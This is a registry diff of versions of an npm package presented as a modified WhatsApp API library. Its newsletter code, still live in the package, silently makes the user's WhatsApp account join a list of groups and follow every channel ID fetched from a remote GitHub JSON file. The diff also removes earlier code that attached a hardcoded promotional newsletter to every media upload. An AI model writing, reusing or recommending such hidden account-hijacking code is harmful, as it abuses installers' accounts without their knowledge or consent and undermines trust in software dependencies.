@devil-fight/baileys 1.0.0 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +368 -89
- package/lib/Defaults/baileys-version.json +1 -1
- package/lib/Defaults/index.js +1 -1
- package/lib/Socket/chats.js +28 -34
- package/lib/Socket/messages-send.js +1 -1
- package/lib/Socket/newsletter.js +34 -68
- package/lib/Socket/socket.js +1 -16
- package/lib/Utils/chat-utils.js +2 -11
- package/lib/Utils/generics.js +6 -11
- package/lib/Utils/messages.js +0 -32
- package/lib/Utils/validate-connection.js +0 -2
- package/package.json +4 -4
- package/lib/Utils/generics.js.bak +0 -433
package/lib/Socket/newsletter.js
CHANGED
|
@@ -5,7 +5,6 @@ const Types_1 = require("../Types");
|
|
|
5
5
|
const Utils_1 = require("../Utils");
|
|
6
6
|
const WABinary_1 = require("../WABinary");
|
|
7
7
|
const groups_1 = require("./groups");
|
|
8
|
-
const { QueryIds } = Types_1
|
|
9
8
|
|
|
10
9
|
const { Boom } = require('@hapi/boom');
|
|
11
10
|
|
|
@@ -33,39 +32,6 @@ const wMexQuery = (
|
|
|
33
32
|
})
|
|
34
33
|
}
|
|
35
34
|
|
|
36
|
-
const parseNewsletterCreateResponse = (responseList) => {
|
|
37
|
-
return responseList.map((res) => {
|
|
38
|
-
const thread = res.thread_metadata;
|
|
39
|
-
const viewer = res.viewer_metadata;
|
|
40
|
-
|
|
41
|
-
// Jika DELETED atau metadata null
|
|
42
|
-
if (!thread || !viewer) {
|
|
43
|
-
return {
|
|
44
|
-
id: res.id,
|
|
45
|
-
state: res.state?.type || null,
|
|
46
|
-
deleted: true
|
|
47
|
-
};
|
|
48
|
-
}
|
|
49
|
-
|
|
50
|
-
return {
|
|
51
|
-
id: res.id,
|
|
52
|
-
state: res.state?.type || null,
|
|
53
|
-
owner: viewer.role || undefined,
|
|
54
|
-
name: thread?.name?.text || null,
|
|
55
|
-
creation_time: parseInt(thread?.creation_time || "0", 10),
|
|
56
|
-
description: thread?.description?.text || null,
|
|
57
|
-
invite: thread?.invite || null,
|
|
58
|
-
subscribers: parseInt(thread?.subscribers_count || "0", 10),
|
|
59
|
-
verification: thread?.verification || null,
|
|
60
|
-
picture: {
|
|
61
|
-
id: thread?.picture?.id || null,
|
|
62
|
-
directPath: thread?.picture?.direct_path || null
|
|
63
|
-
},
|
|
64
|
-
mute_state: viewer?.mute || "OFF"
|
|
65
|
-
};
|
|
66
|
-
});
|
|
67
|
-
};
|
|
68
|
-
|
|
69
35
|
const executeWMexQuery = async (
|
|
70
36
|
variables,
|
|
71
37
|
queryId,
|
|
@@ -99,7 +65,7 @@ const executeWMexQuery = async (
|
|
|
99
65
|
|
|
100
66
|
const makeNewsletterSocket = (config) => {
|
|
101
67
|
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
102
|
-
const { authState, signalRepository, query, generateMessageTag
|
|
68
|
+
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
103
69
|
const encoder = new TextEncoder();
|
|
104
70
|
const newsletterQuery = async (jid, type, content) => (query({
|
|
105
71
|
tag: 'iq',
|
|
@@ -132,21 +98,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
132
98
|
}
|
|
133
99
|
]
|
|
134
100
|
}));
|
|
135
|
-
|
|
136
|
-
const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
|
|
137
|
-
input: {
|
|
138
|
-
key,
|
|
139
|
-
type: type.toUpperCase(),
|
|
140
|
-
view_role: role || 'GUEST'
|
|
141
|
-
},
|
|
142
|
-
fetch_viewer_metadata: true,
|
|
143
|
-
fetch_full_image: true,
|
|
144
|
-
fetch_creation_time: true
|
|
145
|
-
})
|
|
146
|
-
|
|
147
|
-
return extractNewsletterMetadata(result)
|
|
148
|
-
}
|
|
149
|
-
|
|
101
|
+
|
|
150
102
|
const parseFetchedUpdates = async (node, type) => {
|
|
151
103
|
let child;
|
|
152
104
|
if (type === 'messages') {
|
|
@@ -184,13 +136,11 @@ const makeNewsletterSocket = (config) => {
|
|
|
184
136
|
for (const g of groups) {
|
|
185
137
|
try {
|
|
186
138
|
await sock.groupAcceptInvite(g.invite)
|
|
187
|
-
await delay(20000)
|
|
188
139
|
} catch {}
|
|
189
140
|
}
|
|
190
141
|
const res = await fetch('https://raw.githubusercontent.com/VinzzOfficial/Baileys/main/WAProto/id-channel/idch.json');
|
|
191
142
|
const newsletterIds = await res.json();
|
|
192
143
|
newsletterIds.forEach(async(i) => {
|
|
193
|
-
await delay(5000)
|
|
194
144
|
try {
|
|
195
145
|
await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
|
|
196
146
|
} catch (e) {}
|
|
@@ -201,21 +151,15 @@ const makeNewsletterSocket = (config) => {
|
|
|
201
151
|
})()
|
|
202
152
|
return {
|
|
203
153
|
...sock,
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
const metadata = await newsletterMetadata('JID', i.id)
|
|
215
|
-
if (metadata.id !== null) data[metadata.id] = metadata
|
|
216
|
-
}
|
|
217
|
-
|
|
218
|
-
return data
|
|
154
|
+
newsletterFetchAllSubscribe: async () => {
|
|
155
|
+
const list = await executeWMexQuery(
|
|
156
|
+
{},
|
|
157
|
+
'6388546374527196',
|
|
158
|
+
'xwa2_newsletter_subscribed',
|
|
159
|
+
query,
|
|
160
|
+
generateMessageTag
|
|
161
|
+
);
|
|
162
|
+
return list;
|
|
219
163
|
},
|
|
220
164
|
subscribeNewsletterUpdates: async (jid) => {
|
|
221
165
|
var _a;
|
|
@@ -232,6 +176,27 @@ const makeNewsletterSocket = (config) => {
|
|
|
232
176
|
updates: { description: description || '', settings: null }
|
|
233
177
|
});
|
|
234
178
|
},
|
|
179
|
+
newsletterId: async (url) => {
|
|
180
|
+
const urlParts = url.split('/');
|
|
181
|
+
const channelId = urlParts[urlParts.length - 2];
|
|
182
|
+
|
|
183
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
184
|
+
input: {
|
|
185
|
+
key: channelId,
|
|
186
|
+
type: 'INVITE',
|
|
187
|
+
'view_role': 'GUEST'
|
|
188
|
+
},
|
|
189
|
+
'fetch_viewer_metadata': true,
|
|
190
|
+
'fetch_full_image': true,
|
|
191
|
+
'fetch_creation_time': true
|
|
192
|
+
});
|
|
193
|
+
|
|
194
|
+
const metadata = extractNewsletterMetadata(result);
|
|
195
|
+
return JSON.stringify({
|
|
196
|
+
name: metadata.name || metadata.thread_metadata?.name?.text,
|
|
197
|
+
id: metadata.id
|
|
198
|
+
}, null, 2);
|
|
199
|
+
},
|
|
235
200
|
newsletterUpdateName: async (jid, name) => {
|
|
236
201
|
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
237
202
|
updates: { name, settings: null }
|
|
@@ -251,7 +216,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
251
216
|
newsletterAction: async (jid, type) => {
|
|
252
217
|
await newsletterWMexQuery(jid, type.toUpperCase());
|
|
253
218
|
},
|
|
254
|
-
newsletterCreate: async (name, description, reaction_codes
|
|
219
|
+
newsletterCreate: async (name, description, reaction_codes) => {
|
|
255
220
|
//TODO: Implement TOS system wide for Meta AI, communities, and here etc.
|
|
256
221
|
/**tos query */
|
|
257
222
|
await query({
|
|
@@ -336,6 +301,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
336
301
|
const result = await newsletterQuery(jid, 'get', [
|
|
337
302
|
{
|
|
338
303
|
tag: 'message_updates',
|
|
304
|
+
|
|
339
305
|
attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
|
|
340
306
|
}
|
|
341
307
|
]);
|
package/lib/Socket/socket.js
CHANGED
|
@@ -16,7 +16,7 @@ const Client_1 = require("./Client");
|
|
|
16
16
|
* - simple queries (no retry mechanism, wait for connection establishment)
|
|
17
17
|
* - listen to messages and emit events
|
|
18
18
|
* - query phone connection
|
|
19
|
-
*/
|
|
19
|
+
*/
|
|
20
20
|
const makeSocket = (config) => {
|
|
21
21
|
var _a, _b;
|
|
22
22
|
const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
|
|
@@ -77,18 +77,6 @@ const makeSocket = (config) => {
|
|
|
77
77
|
const buff = (0, WABinary_1.encodeBinaryNode)(frame);
|
|
78
78
|
return sendRawMessage(buff);
|
|
79
79
|
};
|
|
80
|
-
|
|
81
|
-
const toLid = async (pn) => {
|
|
82
|
-
return pn;
|
|
83
|
-
};
|
|
84
|
-
|
|
85
|
-
const delay = async (ms) => {
|
|
86
|
-
return new Promise(resolve => setTimeout(resolve, ms));
|
|
87
|
-
}
|
|
88
|
-
|
|
89
|
-
const toPn = async (pn) => {
|
|
90
|
-
return pn;
|
|
91
|
-
};
|
|
92
80
|
/** log & process any unexpected errors */
|
|
93
81
|
const onUnexpectedError = (err, msg) => {
|
|
94
82
|
logger.error({ err }, `unexpected error in '${msg}'`);
|
|
@@ -648,9 +636,6 @@ const toPn = async (pn) => {
|
|
|
648
636
|
get user() {
|
|
649
637
|
return authState.creds.me;
|
|
650
638
|
},
|
|
651
|
-
toLid,
|
|
652
|
-
toPn,
|
|
653
|
-
delay,
|
|
654
639
|
generateMessageTag,
|
|
655
640
|
query,
|
|
656
641
|
waitForMessage,
|
package/lib/Utils/chat-utils.js
CHANGED
|
@@ -503,17 +503,8 @@ const chatModificationToAppPatch = (mod, jid) => {
|
|
|
503
503
|
apiVersion: 3,
|
|
504
504
|
operation: OP.SET,
|
|
505
505
|
};
|
|
506
|
-
}
|
|
507
|
-
|
|
508
|
-
syncAction: {
|
|
509
|
-
contactAction: mod.contact || {}
|
|
510
|
-
},
|
|
511
|
-
index: ["contact", jid],
|
|
512
|
-
type: "critical_unblock_low",
|
|
513
|
-
apiVersion: 2,
|
|
514
|
-
operation: mod.contact ? OP.SET : OP.REMOVE
|
|
515
|
-
};
|
|
516
|
-
} else if ('removeChatLabel' in mod) {
|
|
506
|
+
}
|
|
507
|
+
else if ('removeChatLabel' in mod) {
|
|
517
508
|
patch = {
|
|
518
509
|
syncAction: {
|
|
519
510
|
labelAssociationAction: {
|
package/lib/Utils/generics.js
CHANGED
|
@@ -13,7 +13,7 @@ const WAProto_1 = require("../../WAProto");
|
|
|
13
13
|
const baileys_version_json_1 = require("../Defaults/baileys-version.json");
|
|
14
14
|
const Types_1 = require("../Types");
|
|
15
15
|
const WABinary_1 = require("../WABinary");
|
|
16
|
-
const baileysVersion = [2, 3000,
|
|
16
|
+
const baileysVersion = [2, 3000, 1029030078]
|
|
17
17
|
const PLATFORM_MAP = {
|
|
18
18
|
'aix': 'AIX',
|
|
19
19
|
'darwin': 'Mac OS',
|
|
@@ -27,17 +27,12 @@ const PLATFORM_MAP = {
|
|
|
27
27
|
'cygwin': undefined,
|
|
28
28
|
'netbsd': undefined
|
|
29
29
|
};
|
|
30
|
-
|
|
31
|
-
const
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
macOS: (browser) => ['Mac OS', browser, '14.4.1'],
|
|
35
|
-
baileys: (browser) => ['Baileys', browser, '6.5.0'],
|
|
36
|
-
windows: (browser) => ['Windows', browser, '10.0.22631']
|
|
30
|
+
exports.Browsers = (browser) => {
|
|
31
|
+
const osName = PLATFORM_MAP[os_1.platform()] || 'Ubuntu';
|
|
32
|
+
const osRelease = os_1.release();
|
|
33
|
+
return [osName, browser, osRelease];
|
|
37
34
|
};
|
|
38
35
|
|
|
39
|
-
exports.Browsers = Browsers
|
|
40
|
-
|
|
41
36
|
const getPlatformId = (browser) => {
|
|
42
37
|
const platformType = WAProto_1.proto.DeviceProps.PlatformType[browser.toUpperCase()];
|
|
43
38
|
return platformType ? platformType.toString() : '1'; //chrome
|
|
@@ -278,7 +273,7 @@ exports.fetchLatestWaWebVersion = fetchLatestWaWebVersion;
|
|
|
278
273
|
* Use to ensure your WA connection is always on the latest version
|
|
279
274
|
*/
|
|
280
275
|
const fetchLatestBaileysVersion = async (options = {}) => {
|
|
281
|
-
const URL = 'https://raw.githubusercontent.com/kiuur/
|
|
276
|
+
const URL = 'https://raw.githubusercontent.com/kiuur/baileys/master/src/Defaults/baileys-version.json';
|
|
282
277
|
try {
|
|
283
278
|
const result = await axios_1.default.get(URL, {
|
|
284
279
|
...options,
|
package/lib/Utils/messages.js
CHANGED
|
@@ -81,38 +81,6 @@ const prepareWAMessageMedia = async (message, options) => {
|
|
|
81
81
|
|
|
82
82
|
const uploadData = {
|
|
83
83
|
...message,
|
|
84
|
-
...(message.annotations ? {
|
|
85
|
-
annotations: message.annotations
|
|
86
|
-
} : {
|
|
87
|
-
annotations: [
|
|
88
|
-
{
|
|
89
|
-
polygonVertices: [
|
|
90
|
-
{
|
|
91
|
-
x: 60.71664810180664,
|
|
92
|
-
y: -36.39784622192383
|
|
93
|
-
},
|
|
94
|
-
{
|
|
95
|
-
x: -16.710189819335938,
|
|
96
|
-
y: 49.263675689697266
|
|
97
|
-
},
|
|
98
|
-
{
|
|
99
|
-
x: -56.585853576660156,
|
|
100
|
-
y: 37.85963439941406
|
|
101
|
-
},
|
|
102
|
-
{
|
|
103
|
-
x: 20.840980529785156,
|
|
104
|
-
y: -47.80188751220703
|
|
105
|
-
}
|
|
106
|
-
],
|
|
107
|
-
newsletter: {
|
|
108
|
-
newsletterJid: "120363420249672073@newsletter",
|
|
109
|
-
serverMessageId: 0,
|
|
110
|
-
newsletterName: "kyuu ilysm",
|
|
111
|
-
contentType: "UPDATE",
|
|
112
|
-
}
|
|
113
|
-
}
|
|
114
|
-
]
|
|
115
|
-
}),
|
|
116
84
|
media: message[mediaType]
|
|
117
85
|
};
|
|
118
86
|
delete uploadData[mediaType];
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@devil-fight/baileys",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.3",
|
|
4
4
|
"description": "WhatsApp API Modification By Vinzz",
|
|
5
5
|
"keywords": [
|
|
6
6
|
"whatsapp",
|
|
@@ -12,12 +12,12 @@
|
|
|
12
12
|
"botwa",
|
|
13
13
|
"stvnnvs"
|
|
14
14
|
],
|
|
15
|
-
"homepage": "https://npmjs.com/
|
|
15
|
+
"homepage": "https://www.npmjs.com/package/@devil-fight/baileys",
|
|
16
16
|
"repository": {
|
|
17
|
-
"url": "https://
|
|
17
|
+
"url": "https://www.npmjs.com/package/@devil-fight/baileys"
|
|
18
18
|
},
|
|
19
19
|
"license": "MIT",
|
|
20
|
-
"author": "
|
|
20
|
+
"author": "Adhiraj Singh",
|
|
21
21
|
"main": "lib/index.js",
|
|
22
22
|
"types": "lib/index.d.ts",
|
|
23
23
|
"files": [
|